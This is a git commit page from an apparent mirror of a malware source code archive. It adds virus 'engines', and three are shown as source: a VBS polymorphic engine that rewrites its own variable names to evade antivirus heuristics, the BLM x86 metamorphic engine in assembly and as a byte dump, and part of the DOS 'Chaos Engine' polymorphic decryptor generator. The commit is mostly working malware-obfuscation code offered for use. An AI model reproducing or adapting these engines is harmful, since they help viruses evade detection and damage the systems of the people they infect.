mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
Add files via upload
This commit is contained in:
parent
3b1112577c
commit
930c435323
BIN
Engines/Virus.BAT.Poly.7z
Normal file
BIN
Engines/Virus.BAT.Poly.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Linux.Lime.7z
Normal file
BIN
Engines/Virus.Linux.Lime.7z
Normal file
Binary file not shown.
73
Engines/Virus.VBS.KVPE.txt
Normal file
73
Engines/Virus.VBS.KVPE.txt
Normal file
@ -0,0 +1,73 @@
|
|||||||
|
Kefi's VBS Polymorphic Engine v0.1
|
||||||
|
[KVPE]
|
||||||
|
January 24, 2003
|
||||||
|
Kefi.[rRlf]
|
||||||
|
-
|
||||||
|
|
||||||
|
How to use KVPE:
|
||||||
|
1. Make a list of every variable in your VBS file
|
||||||
|
2. Add it them at the line given
|
||||||
|
3. Add the following code to the bottom of your VBS file
|
||||||
|
|
||||||
|
-
|
||||||
|
|
||||||
|
Significance:
|
||||||
|
This script will replace your variables with a randomly created string with
|
||||||
|
a random length. By doing this Anti-Viruses will not be able to pick them
|
||||||
|
up with heuristic scanning, or by the file's size.
|
||||||
|
|
||||||
|
-
|
||||||
|
|
||||||
|
Disclaimer:
|
||||||
|
This code is for educational purposes only. I will not be held responsible
|
||||||
|
for your actions with this script.
|
||||||
|
If you are to use this script in your VBS file you MUST contact me first. I
|
||||||
|
do not want this method spread.
|
||||||
|
|
||||||
|
-
|
||||||
|
|
||||||
|
Note:
|
||||||
|
On run this file will create new varibles in your file, which will be hard
|
||||||
|
to work with, I sujest not running the file until it is finished.
|
||||||
|
|
||||||
|
-
|
||||||
|
|
||||||
|
Contact Me:
|
||||||
|
e-Mail - kefi@rRlf.de
|
||||||
|
HTTP - http://vx.netlux.org/~kefi
|
||||||
|
VX Group - http://rRlf.de
|
||||||
|
|
||||||
|
'---------------- KVPE Code Starts ----------------
|
||||||
|
randomize
|
||||||
|
set fso=createobject("scripting.filesystemobject")
|
||||||
|
set vbsfile=fso.opentextfile(wscript.scriptfullname,1,false)
|
||||||
|
code=vbsfile.readall
|
||||||
|
vars=array("code","vars","var","newlet","num","newlet","fso","vbsfile") '<--- Add all of your varibles here, but do not take any of the ones already in out because if you do the script will not work.
|
||||||
|
for each var in vars
|
||||||
|
for num=1 to int(rnd*14) + 2
|
||||||
|
if int(rnd*2)+1=1 then
|
||||||
|
newlet=newlet& ucase(chr((int(rnd*22)+97)))
|
||||||
|
if int(rnd*2)+1=1 then
|
||||||
|
newlet=newlet & int(rnd*int(rnd*4))
|
||||||
|
end if
|
||||||
|
else
|
||||||
|
newlet=newlet&lcase(chr((int(rnd*22)+97)))
|
||||||
|
if int(rnd*2)+1=1 then
|
||||||
|
newlet=newlet&int(rnd *2)
|
||||||
|
else
|
||||||
|
newlet=newlet&int(rnd*int(rnd*6))
|
||||||
|
end if
|
||||||
|
end if
|
||||||
|
next
|
||||||
|
code=replace(code,var,newlet)
|
||||||
|
newlet=""
|
||||||
|
next
|
||||||
|
set vbsfile=fso.opentextfile(wscript.scriptfullname,2,false)
|
||||||
|
vbsfile.write code
|
||||||
|
'---------------- KVPE Code Stops ----------------
|
||||||
|
|
||||||
|
A newer version may be expected in the future, goto http://vx.netlux.org/~kefi for
|
||||||
|
updates.
|
||||||
|
|
||||||
|
Regards,
|
||||||
|
Kefi.[rRlf]
|
BIN
Engines/Virus.Win32.Abme.7z
Normal file
BIN
Engines/Virus.Win32.Abme.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Alma.7z
Normal file
BIN
Engines/Virus.Win32.Alma.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Antisocial.7z
Normal file
BIN
Engines/Virus.Win32.Antisocial.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Antiweb.7z
Normal file
BIN
Engines/Virus.Win32.Antiweb.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Ape.7z
Normal file
BIN
Engines/Virus.Win32.Ape.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Benny.a.7z
Normal file
BIN
Engines/Virus.Win32.Benny.a.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Bi-Perm.7z
Normal file
BIN
Engines/Virus.Win32.Bi-Perm.7z
Normal file
Binary file not shown.
325
Engines/Virus.Win32.Blm.asm
Normal file
325
Engines/Virus.Win32.Blm.asm
Normal file
@ -0,0 +1,325 @@
|
|||||||
|
; BLM ~ BlueOwls Light Meta
|
||||||
|
; *************************
|
||||||
|
;
|
||||||
|
; Details
|
||||||
|
;
|
||||||
|
; Name: BLM (BlueOwls Light Meta)
|
||||||
|
; Date: 16 May 2005
|
||||||
|
; Size: 412 bytes
|
||||||
|
; Morphing power: light
|
||||||
|
; Morphing type: non-expansion
|
||||||
|
; Compatibility: most common x86 and pentium specific (rdtsc/movzx/..)
|
||||||
|
; Platforms: all 32bit (and maybe 16bit) x86 instruction set OSes
|
||||||
|
; Used compiler: FASM 1.60
|
||||||
|
; Bugs: hopefully none
|
||||||
|
;
|
||||||
|
; Morphing
|
||||||
|
;
|
||||||
|
; The following instructions can be morphed:
|
||||||
|
;
|
||||||
|
; 1. OP reg, reg -> changing the D bit (2)
|
||||||
|
; 2. OP (reg,) [(imm32+)reg] -> changing the unused SCALE bits (4)
|
||||||
|
; 3. OP (reg,) [(imm32+)reg+reg*1] -> swapping the regs (2)
|
||||||
|
;
|
||||||
|
; Any other instruction's size is calculated and skipped.
|
||||||
|
;
|
||||||
|
; Usage notes
|
||||||
|
;
|
||||||
|
; BLM can be usefull for any application which would like to do code
|
||||||
|
; morphing on its own, or other code. There are however, some things
|
||||||
|
; to keep note on:
|
||||||
|
;
|
||||||
|
; - Make sure you don't mix data with code, for example:
|
||||||
|
; > CALL _LABEL
|
||||||
|
; > DB "some string",0
|
||||||
|
; > _LABEL:
|
||||||
|
; Would make the meta miscorrectly assume "some string",0 to be
|
||||||
|
; code. So make sure that in the codearea you specify is no data.
|
||||||
|
; - On input, esi is allowed to equal edi, but it is not recommended
|
||||||
|
; if it will cause the meta to morph itself on runtime.
|
||||||
|
; - This code does not need any data, and only needs to be able to
|
||||||
|
; execute. It is completely permutatable.
|
||||||
|
;
|
||||||
|
; Agreement
|
||||||
|
;
|
||||||
|
; This sourcecode is meant to be used in freeware and shareware
|
||||||
|
; programs, and therefor it is strictly prohibited to add any of this
|
||||||
|
; code in binary or source format in scan strings or other detection
|
||||||
|
; methods. If done, it will impact on the sellability of the product,
|
||||||
|
; and can result in high fees and/or trials before court.
|
||||||
|
; YOU HAVE BEEN WARNED
|
||||||
|
|
||||||
|
use32
|
||||||
|
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META SOURCE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
|
||||||
|
; in: esi(ecx) = start of code to morph
|
||||||
|
; edi(ecx) = start of buffer to put morphed code in
|
||||||
|
; ecx = size of code to morph (and buffer)
|
||||||
|
; out: esi = esi + ecx
|
||||||
|
; edi = edi + ecx
|
||||||
|
; other registers are destroyed (except esp)
|
||||||
|
|
||||||
|
BLM: cld
|
||||||
|
lea ebx, [esi+ecx] ; ebx = ptr to end of code to morph
|
||||||
|
nextcode: push ebx
|
||||||
|
xor ecx, ecx
|
||||||
|
push 4
|
||||||
|
pop ebx
|
||||||
|
call .innext
|
||||||
|
pop ebx
|
||||||
|
rol edx, 7 ; simple RAND function
|
||||||
|
neg dx
|
||||||
|
cmp ebx, esi
|
||||||
|
ja nextcode
|
||||||
|
ret
|
||||||
|
|
||||||
|
.next: movsb
|
||||||
|
.innext: mov al, [esi]
|
||||||
|
and al, 11100111b
|
||||||
|
cmp al, 00100110b ; es/cs/ss/ds segment?
|
||||||
|
jz .next ; check if more
|
||||||
|
mov al, [esi]
|
||||||
|
and al, 11111110b
|
||||||
|
cmp al, 01100100b ; fs/gs segment?
|
||||||
|
jz .next ; check if more
|
||||||
|
cmp al, 11110010b ; repz/repnz?
|
||||||
|
jz .next ; check if more
|
||||||
|
cmp al, 01100110b ; WORD?
|
||||||
|
jnz opcode
|
||||||
|
mov bl, 2 ; set WORD size
|
||||||
|
jmp .next
|
||||||
|
|
||||||
|
; -----------------------------------------------------------------------
|
||||||
|
|
||||||
|
opcode: mov al, [esi]
|
||||||
|
cmp al, 0fh
|
||||||
|
jnz branch_start
|
||||||
|
movsb
|
||||||
|
or al, [esi] ; ????1111
|
||||||
|
cmp al, 10001111b
|
||||||
|
jz .6byte ; -> jxx label32
|
||||||
|
cmp al, 10111111b
|
||||||
|
jz .3byte ; -> movzx/bt?
|
||||||
|
jmp .done
|
||||||
|
.6byte: movsb
|
||||||
|
movsb
|
||||||
|
movsb
|
||||||
|
.3byte: movsb
|
||||||
|
.done: movsb
|
||||||
|
ret
|
||||||
|
branch_start: shl al, 1
|
||||||
|
jc branch_1xxxxxxx
|
||||||
|
branch_0xxxxxxx:shl al, 1
|
||||||
|
jc branch_01xxxxxx
|
||||||
|
branch_00xxxxxx:shl al, 4
|
||||||
|
jnc op_rmrm_d
|
||||||
|
op_eax: mov al, [esi]
|
||||||
|
shr al, 1
|
||||||
|
jc .pr32
|
||||||
|
movsb
|
||||||
|
movsb
|
||||||
|
ret ; -> op al, imm8
|
||||||
|
.pr32: add ecx, ebx ; -> op eax, imm32
|
||||||
|
rep movsb
|
||||||
|
movsb
|
||||||
|
ret
|
||||||
|
branch_01xxxxxx:cmp al, 11000000b
|
||||||
|
jb .ncjump
|
||||||
|
movsb ; -> jxx label8
|
||||||
|
.ncjump: cmp al, 068h
|
||||||
|
jz do_5byte ; -> push imm32
|
||||||
|
cmp al, 06ah
|
||||||
|
jnz .done ; -> popad/pushad/pop/push/dec/inc (reg)
|
||||||
|
stosb ; -> push imm8
|
||||||
|
.done: movsb
|
||||||
|
ret
|
||||||
|
|
||||||
|
op_rmrm_d: mov al, [esi+1] ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,r/m
|
||||||
|
rcr edx, 1 ; rand true/false
|
||||||
|
jc .nomorph
|
||||||
|
cmp al, 11000000b
|
||||||
|
.nomorph: jb op_rm ; (jc == jb so little optimization)
|
||||||
|
lodsb
|
||||||
|
xor al, 00000010b
|
||||||
|
stosb
|
||||||
|
lodsb
|
||||||
|
and eax, 00111111b ; 00000000 00regreg
|
||||||
|
shl eax, 5 ; 00000reg reg00000
|
||||||
|
shr al, 2 ; 00000reg 00reg000
|
||||||
|
or al, ah ; 00000xxx 00regreg
|
||||||
|
or al, 11000000b ; 11regreg
|
||||||
|
stosb
|
||||||
|
ret
|
||||||
|
|
||||||
|
branch_1xxxxxxx:shl al, 1
|
||||||
|
jc branch_11xxxxxx
|
||||||
|
branch_10xxxxxx:shl al, 1
|
||||||
|
jc branch_101xxxxx
|
||||||
|
branch_100xxxxx:shl al, 1
|
||||||
|
jc branch_01xxxxxx.ncjump ; -> xchg eax,reg/cwde/cdq/pushf/popf/sahf/lahf
|
||||||
|
branch_1000xxxx:cmp al, 01000000b
|
||||||
|
jae op_rm ; -> test/xchg/mov/lea/pop r/m(,r/m)
|
||||||
|
shl al, 3
|
||||||
|
jc op_rmimm8 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm8
|
||||||
|
jmp op_rmimm32 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm32
|
||||||
|
branch_101xxxxx:shl al, 1
|
||||||
|
jc branch_1011xxxx
|
||||||
|
branch_1010xxxx:and al, 11100000b
|
||||||
|
cmp al, 00100000b
|
||||||
|
jb op_eax ; -> test eax, imm
|
||||||
|
cmp al, 10000000b
|
||||||
|
jz do_5byte ; -> mov mem32, eax
|
||||||
|
movsb
|
||||||
|
ret ; -> movs/stos/lods/scas
|
||||||
|
branch_1011xxxx:shl al, 1
|
||||||
|
jnc branch_1100001x.2byte ; -> mov reg, imm8
|
||||||
|
jmp op_eax.pr32 ; -> mov reg, imm32
|
||||||
|
do_5byte: movsd
|
||||||
|
movsb
|
||||||
|
ret
|
||||||
|
branch_11xxxxxx:shl al, 1
|
||||||
|
jc branch_111xxxxx
|
||||||
|
branch_110xxxxx:shl al, 1
|
||||||
|
jc branch_1101xxxx
|
||||||
|
branch_1100xxxx:cmp al, 11010000b
|
||||||
|
jz branch_1100001x.2byte ; -> int imm8
|
||||||
|
shl al, 1
|
||||||
|
jc branch_1100001x.done ; -> leave/int 3
|
||||||
|
branch_11000xxx:shl al, 1
|
||||||
|
jc op_rm_w ; -> mov r/m, imm
|
||||||
|
branch_110000xx:shl al, 1
|
||||||
|
jc branch_1100001x
|
||||||
|
inc ecx ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
|
||||||
|
jmp op_rm
|
||||||
|
branch_1100001x:shl al, 1
|
||||||
|
jc .done
|
||||||
|
.3byte: movsb
|
||||||
|
.2byte: movsb ; -> ret imm16
|
||||||
|
.done: movsb
|
||||||
|
ret ; -> ret
|
||||||
|
branch_1101xxxx:shl al, 2
|
||||||
|
jc branch_1100001x.done ; -> xlatb
|
||||||
|
branch_1101x0xx:jmp op_rm ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
|
||||||
|
|
||||||
|
branch_111xxxxx:shl al, 1
|
||||||
|
jc branch_1111xxxx
|
||||||
|
branch_1110xxxx:shl al, 1
|
||||||
|
jnc branch_11101010 ; -> loop label
|
||||||
|
branch_11101xxx:cmp al, 00100000b
|
||||||
|
jz branch_111010x0.done ; -> call label
|
||||||
|
branch_111010x0:shl al, 2
|
||||||
|
jc branch_11101010
|
||||||
|
.done: movsd ; -> jmp label32
|
||||||
|
movsb
|
||||||
|
ret
|
||||||
|
branch_11101010:movsb
|
||||||
|
movsb
|
||||||
|
ret ; -> jmp label8
|
||||||
|
branch_1111xxxx:shl al, 1
|
||||||
|
jc branch_11111xxx
|
||||||
|
branch_11110xxx:shl al, 2
|
||||||
|
jnc branch_11111xxx.done ; -> cmc
|
||||||
|
branch_11111x1x:mov al, [esi+1] ; al = modr/m
|
||||||
|
and al, 00111000b
|
||||||
|
jnz op_rm ; -> not/mul/div/idiv
|
||||||
|
jmp op_rm_w ; -> test
|
||||||
|
branch_11111xxx:shl al, 1
|
||||||
|
jc .done ; -> clc/stc/cli
|
||||||
|
shr al, 1
|
||||||
|
jc op_rm ; -> inc/dec/call/jmp/push
|
||||||
|
.done: movsb
|
||||||
|
ret ; -> cld/std
|
||||||
|
|
||||||
|
; -----------------------------------------------------------------------
|
||||||
|
|
||||||
|
op_rm_w: mov al, [esi]
|
||||||
|
shr al, 1
|
||||||
|
jnc op_rmimm8
|
||||||
|
op_rmimm32: add ecx, ebx ; imm length will be 4 or 2
|
||||||
|
dec ecx
|
||||||
|
op_rmimm8: inc ecx ; imm length = 1 byte
|
||||||
|
op_rm: movsb
|
||||||
|
lodsb
|
||||||
|
stosb
|
||||||
|
cmp al, 11000000b ; op reg, reg
|
||||||
|
jae .done
|
||||||
|
mov ah, al
|
||||||
|
and al, 111b
|
||||||
|
shr ah, 6
|
||||||
|
jz .regaddr
|
||||||
|
cmp ah, 00000001b
|
||||||
|
jz .ddone
|
||||||
|
add ecx, 3 ; op reg, [reg+dword]
|
||||||
|
.ddone: inc ecx ; op reg, [reg+byte]
|
||||||
|
.cmpsib: cmp al, 00000100b
|
||||||
|
jnz .done
|
||||||
|
xor ebx, ebx
|
||||||
|
mov eax, ebx
|
||||||
|
lodsb ; 00000000 iiregreg
|
||||||
|
shl eax, 2 ; 000000ii regreg00
|
||||||
|
xchg bl, ah ; 00000000 regreg00
|
||||||
|
shl eax, 3 ; 00000reg reg00000
|
||||||
|
shr al, 5 ; 00000reg 00000reg
|
||||||
|
cmp ah, 4
|
||||||
|
jz .randindex
|
||||||
|
cmp al, 4
|
||||||
|
jz .nosib
|
||||||
|
or bl, bl ; index = 1?
|
||||||
|
jnz .nosib
|
||||||
|
rcr edx, 1
|
||||||
|
jnc .nosib ; randomly abort switch
|
||||||
|
xchg al, ah
|
||||||
|
jmp .nosib
|
||||||
|
.randindex: mov bl, dl ; index is random
|
||||||
|
and bl, 00000011b
|
||||||
|
.nosib: shl al, 5 ; 00000reg reg00000
|
||||||
|
shr eax, 3 ; 00000000 regreg00
|
||||||
|
mov ah, bl ; 000000ii regreg00
|
||||||
|
shr eax, 2 ; 00000000 iiregreg
|
||||||
|
stosb
|
||||||
|
.done: rep movsb
|
||||||
|
ret
|
||||||
|
.regaddr: cmp al, 00000101b ; op reg, [dword]
|
||||||
|
jnz .cmpsib
|
||||||
|
movsd
|
||||||
|
jmp .done
|
||||||
|
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META BINARY ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
|
||||||
|
; in: esi(ecx) = start of code to morph
|
||||||
|
; edi(ecx) = start of buffer to put morphed code in
|
||||||
|
; ecx = size of code to morph (and buffer)
|
||||||
|
; out: esi = esi + ecx
|
||||||
|
; edi = edi + ecx
|
||||||
|
; other registers are destroyed (except esp)
|
||||||
|
|
||||||
|
BLM: db 252,141,28,14,83,49,201,106,4,91,232,13,0,0,0,91
|
||||||
|
db 193,194,7,102,247,218,57,243,119,234,195,164,138,6,36,231
|
||||||
|
db 60,38,116,247,138,6,36,254,60,100,116,239,60,242,116,235
|
||||||
|
db 60,102,117,4,179,2,235,227,138,6,60,15,117,19,164,10
|
||||||
|
db 6,60,143,116,6,60,191,116,5,235,4,164,164,164,164,164
|
||||||
|
db 195,208,224,114,75,208,224,114,20,192,224,4,115,31,138,6
|
||||||
|
db 208,232,114,3,164,164,195,1,217,243,164,164,195,60,192,114
|
||||||
|
db 1,164,60,104,116,95,60,106,117,1,170,164,195,138,70,1
|
||||||
|
db 209,218,114,2,60,192,15,130,179,0,0,0,172,52,2,170
|
||||||
|
db 172,131,224,63,193,224,5,192,232,2,8,224,12,192,170,195
|
||||||
|
db 208,224,114,52,208,224,114,23,208,224,114,198,60,64,15,131
|
||||||
|
db 139,0,0,0,192,224,3,15,130,129,0,0,0,235,124,208
|
||||||
|
db 224,114,12,36,224,60,32,114,149,60,128,116,8,164,195,208
|
||||||
|
db 224,115,37,235,146,165,164,195,208,224,114,38,208,224,114,27
|
||||||
|
db 60,208,116,20,208,224,114,17,208,224,114,73,208,224,114,3
|
||||||
|
db 65,235,76,208,224,114,2,164,164,164,195,192,224,2,114,249
|
||||||
|
db 235,61,208,224,114,19,208,224,115,12,60,32,116,5,192,224
|
||||||
|
db 2,114,3,165,164,195,164,164,195,208,224,114,14,192,224,2
|
||||||
|
db 115,17,138,70,1,36,56,117,22,235,10,208,224,114,4,208
|
||||||
|
db 232,114,12,164,195,138,6,208,232,115,3,1,217,73,65,164
|
||||||
|
db 172,170,60,192,115,76,136,196,36,7,192,236,6,116,70,128
|
||||||
|
db 252,1,116,3,131,193,3,65,60,4,117,54,49,219,137,216
|
||||||
|
db 172,193,224,2,134,220,193,224,3,192,232,5,128,252,4,116
|
||||||
|
db 16,60,4,116,17,8,219,117,13,209,218,115,9,134,196,235
|
||||||
|
db 5,136,211,128,227,3,192,224,5,193,232,3,136,220,193,232
|
||||||
|
db 2,170,243,164,195,60,5,117,191,165,235,246
|
||||||
|
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
|
862
Engines/Virus.Win32.Chaos.ASM
Normal file
862
Engines/Virus.Win32.Chaos.ASM
Normal file
@ -0,0 +1,862 @@
|
|||||||
|
radix 16
|
||||||
|
|
||||||
|
;*****************************************
|
||||||
|
;* T.H.E - C.H.A.O.S - E.N.G.I.N.E - 0.4 *
|
||||||
|
;*****************************************
|
||||||
|
;1995 - Sepultura - Australia
|
||||||
|
;;
|
||||||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||||
|
;;;on CALLing of TCE -
|
||||||
|
;;;AX = TCE Flags:1 - Pad To DECRYPTOR_LENGTH.
|
||||||
|
;;; 2 - Make Short Decryptor (No Junk).
|
||||||
|
;;; 4 - Add Segment Overide.
|
||||||
|
;;;
|
||||||
|
;;;CX = Length of Code to Encrypt.
|
||||||
|
;;;DX = Delta Offset.
|
||||||
|
;;;DS:SI = Code to encrypt (DS _MUST_ = CS).
|
||||||
|
;;;ES:DI = Location of Buffer to Create Decryptor in.
|
||||||
|
;;;
|
||||||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||||
|
;;;ON RETURN:
|
||||||
|
;;;ES = DS = Segment of Decryptor / Encrypted Code
|
||||||
|
;;;DX = Pointer to Start of Code
|
||||||
|
;;;CX = Length of Code
|
||||||
|
;;;;;;;;;;;;;;;;;;;
|
||||||
|
;;;Flag EQUates
|
||||||
|
|
||||||
|
MAKE_SMALL equ 1
|
||||||
|
PAD_TO_MAX equ 2
|
||||||
|
ADD_SEG equ 4
|
||||||
|
|
||||||
|
;;;;;;;;;;;;;;;;;;;
|
||||||
|
;;;W.H.A.T.E.V.E.R
|
||||||
|
|
||||||
|
DECRYPTOR_LENGTH equ 190h
|
||||||
|
MAX_PADDING equ 90h - 1f
|
||||||
|
length_1 equ (offset int_tbl - offset one_byters)-1
|
||||||
|
|
||||||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||||
|
;;;REGISTER TABLE - INTEL STANDLE FORMAT
|
||||||
|
|
||||||
|
tce_AX equ 0000xB
|
||||||
|
tce_CX equ 0001xB
|
||||||
|
tce_DX equ 0010xB
|
||||||
|
tce_BX equ 0011xB
|
||||||
|
tce_SP equ 0100xB
|
||||||
|
tce_BP equ 0101xB
|
||||||
|
tce_SI equ 0110xB
|
||||||
|
tce_DI equ 0111xB
|
||||||
|
|
||||||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||||
|
;;;THe BeLoW InSTuCTiOn CaN KilL A MaN
|
||||||
|
|
||||||
|
db '[TCE-0.4]',0
|
||||||
|
|
||||||
|
;*****************************************************
|
||||||
|
;*****************************************************
|
||||||
|
;*** The REAL _REAL_ START of THE CHAOS ENGINE 0.4 ***
|
||||||
|
;*****************************************************
|
||||||
|
;*****************************************************
|
||||||
|
|
||||||
|
tce: push ax,bx,bp
|
||||||
|
push di,si
|
||||||
|
|
||||||
|
cld
|
||||||
|
|
||||||
|
mov tce_begin,di
|
||||||
|
mov tce_delta,dx
|
||||||
|
mov c_length,cx
|
||||||
|
mov tce_flags,ax
|
||||||
|
call clear_regs
|
||||||
|
mov B index_sub,0
|
||||||
|
|
||||||
|
mov B[offset more_junk],0b0
|
||||||
|
test W tce_flags,MAKE_SMALL
|
||||||
|
if nz mov B[offset more_junk],0c3
|
||||||
|
|
||||||
|
push si
|
||||||
|
call get_rand_1f
|
||||||
|
add ax,MAX_PADDING
|
||||||
|
xchg cx,ax
|
||||||
|
call more_junk
|
||||||
|
|
||||||
|
swap0: mov si,offset init_1
|
||||||
|
lodsw
|
||||||
|
call binary
|
||||||
|
jz no_swap1
|
||||||
|
xchg ax,[si]
|
||||||
|
mov [si-2],ax
|
||||||
|
|
||||||
|
no_swap1:
|
||||||
|
push ax
|
||||||
|
lodsw
|
||||||
|
call binary
|
||||||
|
jnz no_swap2
|
||||||
|
xchg ax,[si]
|
||||||
|
mov [si-2],ax
|
||||||
|
|
||||||
|
no_swap2:
|
||||||
|
push ax
|
||||||
|
lodsw
|
||||||
|
lodsw
|
||||||
|
call binary
|
||||||
|
jz build_code
|
||||||
|
xchg ax,[si]
|
||||||
|
mov [si-2],ax
|
||||||
|
|
||||||
|
build_code:
|
||||||
|
pop ax
|
||||||
|
call ax
|
||||||
|
call pad_10
|
||||||
|
pop ax
|
||||||
|
call ax
|
||||||
|
call pad_10
|
||||||
|
call W init_3
|
||||||
|
call pad_10
|
||||||
|
call gen_decrypt
|
||||||
|
call pad_8
|
||||||
|
call W init_4
|
||||||
|
call pad_8
|
||||||
|
call W init_5
|
||||||
|
call pad_10
|
||||||
|
call gen_loop
|
||||||
|
call pad_8
|
||||||
|
|
||||||
|
test W tce_flags,PAD_TO_MAX
|
||||||
|
jz no_padding
|
||||||
|
|
||||||
|
mov B[offset more_junk],0b0
|
||||||
|
mov cx,DECRYPTOR_LENGTH
|
||||||
|
add cx,tce_begin
|
||||||
|
sub cx,di
|
||||||
|
call more_junk
|
||||||
|
|
||||||
|
no_padding:
|
||||||
|
mov ax,di
|
||||||
|
sub ax,DECRYPTOR_LENGTH
|
||||||
|
add enc_index,ax
|
||||||
|
mov bx,W index_loc
|
||||||
|
cmp B index_sub,1
|
||||||
|
if e neg ax
|
||||||
|
add es:[bx],ax
|
||||||
|
|
||||||
|
pop si
|
||||||
|
mov cx,c_length
|
||||||
|
rep movsb
|
||||||
|
mov dx,tce_begin
|
||||||
|
mov ds,es
|
||||||
|
call encryptor
|
||||||
|
mov cx,di
|
||||||
|
sub cx,dx
|
||||||
|
|
||||||
|
pop si,di
|
||||||
|
pop bp,bx,ax
|
||||||
|
ret
|
||||||
|
|
||||||
|
init_count: ;Initialises Count Register..
|
||||||
|
call get_unused_reg ;Make Count Initialiser in Encryptor and
|
||||||
|
cmp al,tce_DX
|
||||||
|
je init_count
|
||||||
|
mov count_reg,al ;Decryptor
|
||||||
|
mov bx,W c_length
|
||||||
|
shr bx,1
|
||||||
|
mov W enc_length,bx
|
||||||
|
call gen_mov_reg
|
||||||
|
ret
|
||||||
|
|
||||||
|
init_index: ;Initialises Index Register..
|
||||||
|
mov ax,0ff ;Makes Index Initialiser in Encryptor and
|
||||||
|
call get_rand ;Decryptor..
|
||||||
|
push ax
|
||||||
|
call get_rand_7
|
||||||
|
pop ax
|
||||||
|
if z xor ax,ax
|
||||||
|
mov B index_off,al
|
||||||
|
mov bx,DECRYPTOR_LENGTH
|
||||||
|
add bx, tce_begin
|
||||||
|
mov W enc_index,bx
|
||||||
|
add bx, tce_delta
|
||||||
|
cbw
|
||||||
|
sub bx,ax
|
||||||
|
|
||||||
|
get_index:
|
||||||
|
call get_unused_reg
|
||||||
|
cmp al,tce_BX
|
||||||
|
jb get_index
|
||||||
|
mov W index_num,ax
|
||||||
|
mov B index_reg,al
|
||||||
|
mov B index_set,1
|
||||||
|
call gen_mov_reg
|
||||||
|
mov B index_set,0
|
||||||
|
ret
|
||||||
|
|
||||||
|
gen_decrypt: ;generates DECRYPTOR / ENCRYPTOR instruction
|
||||||
|
mov W loop_start,di
|
||||||
|
call pad_8
|
||||||
|
mov bl,B key_reg
|
||||||
|
sal bl,3
|
||||||
|
call get_rand_2
|
||||||
|
add ax,ax
|
||||||
|
add ax,offset enc_table
|
||||||
|
xchg si,ax
|
||||||
|
lodsw
|
||||||
|
call binary
|
||||||
|
if z xchg ah,al
|
||||||
|
push ax
|
||||||
|
cmp si,offset enc_table + 2
|
||||||
|
jne no_carry_set
|
||||||
|
mov al,0f8
|
||||||
|
call binary
|
||||||
|
if z inc ax
|
||||||
|
mov B enc_cf,al
|
||||||
|
stosb
|
||||||
|
|
||||||
|
no_carry_set:
|
||||||
|
test W tce_flags,ADD_SEG
|
||||||
|
jz no_seg_set
|
||||||
|
mov al,2e
|
||||||
|
stosb
|
||||||
|
|
||||||
|
no_seg_set:
|
||||||
|
pop ax
|
||||||
|
stosb
|
||||||
|
mov B enc_loop,ah
|
||||||
|
mov si,W index_num
|
||||||
|
|
||||||
|
cmp B index_reg,tce_BP
|
||||||
|
je encryptor_has_offset
|
||||||
|
cmp B index_off,0
|
||||||
|
jne encryptor_has_offset
|
||||||
|
push ax
|
||||||
|
call get_rand_7
|
||||||
|
pop ax
|
||||||
|
jz encryptor_has_offset
|
||||||
|
add si,index_tab_c
|
||||||
|
lodsb
|
||||||
|
or al,bl
|
||||||
|
stosb
|
||||||
|
ret
|
||||||
|
|
||||||
|
encryptor_has_offset:
|
||||||
|
add si,index_tab_b
|
||||||
|
lodsb
|
||||||
|
or al,bl
|
||||||
|
mov ah,B index_off
|
||||||
|
or al,bl
|
||||||
|
stosw
|
||||||
|
xchg al,ah
|
||||||
|
cbw
|
||||||
|
call binary
|
||||||
|
jnz ret
|
||||||
|
mov al,ah
|
||||||
|
stosb
|
||||||
|
add es:B[di-3],40
|
||||||
|
ret
|
||||||
|
|
||||||
|
modify_key: ;Modify Key: XOR/ADD/SUB key_reg,xxxx
|
||||||
|
call get_rand_7
|
||||||
|
jz no_mod_key
|
||||||
|
call get_rand_2
|
||||||
|
add ax,offset modify_table
|
||||||
|
xchg si,ax
|
||||||
|
lodsb
|
||||||
|
mov ah,al
|
||||||
|
mov al,81
|
||||||
|
mov W enc_mod_op,ax
|
||||||
|
or ah,B key_reg
|
||||||
|
stosw
|
||||||
|
call get_any_rand
|
||||||
|
stosw
|
||||||
|
|
||||||
|
no_mod_key:
|
||||||
|
mov W enc_mod_val,ax
|
||||||
|
|
||||||
|
ret
|
||||||
|
|
||||||
|
inc_index: ;increase index by 2..
|
||||||
|
call binary ;1 in 2 chance of ADD reg,2/SUB reg,-2
|
||||||
|
jz add_sub_index
|
||||||
|
|
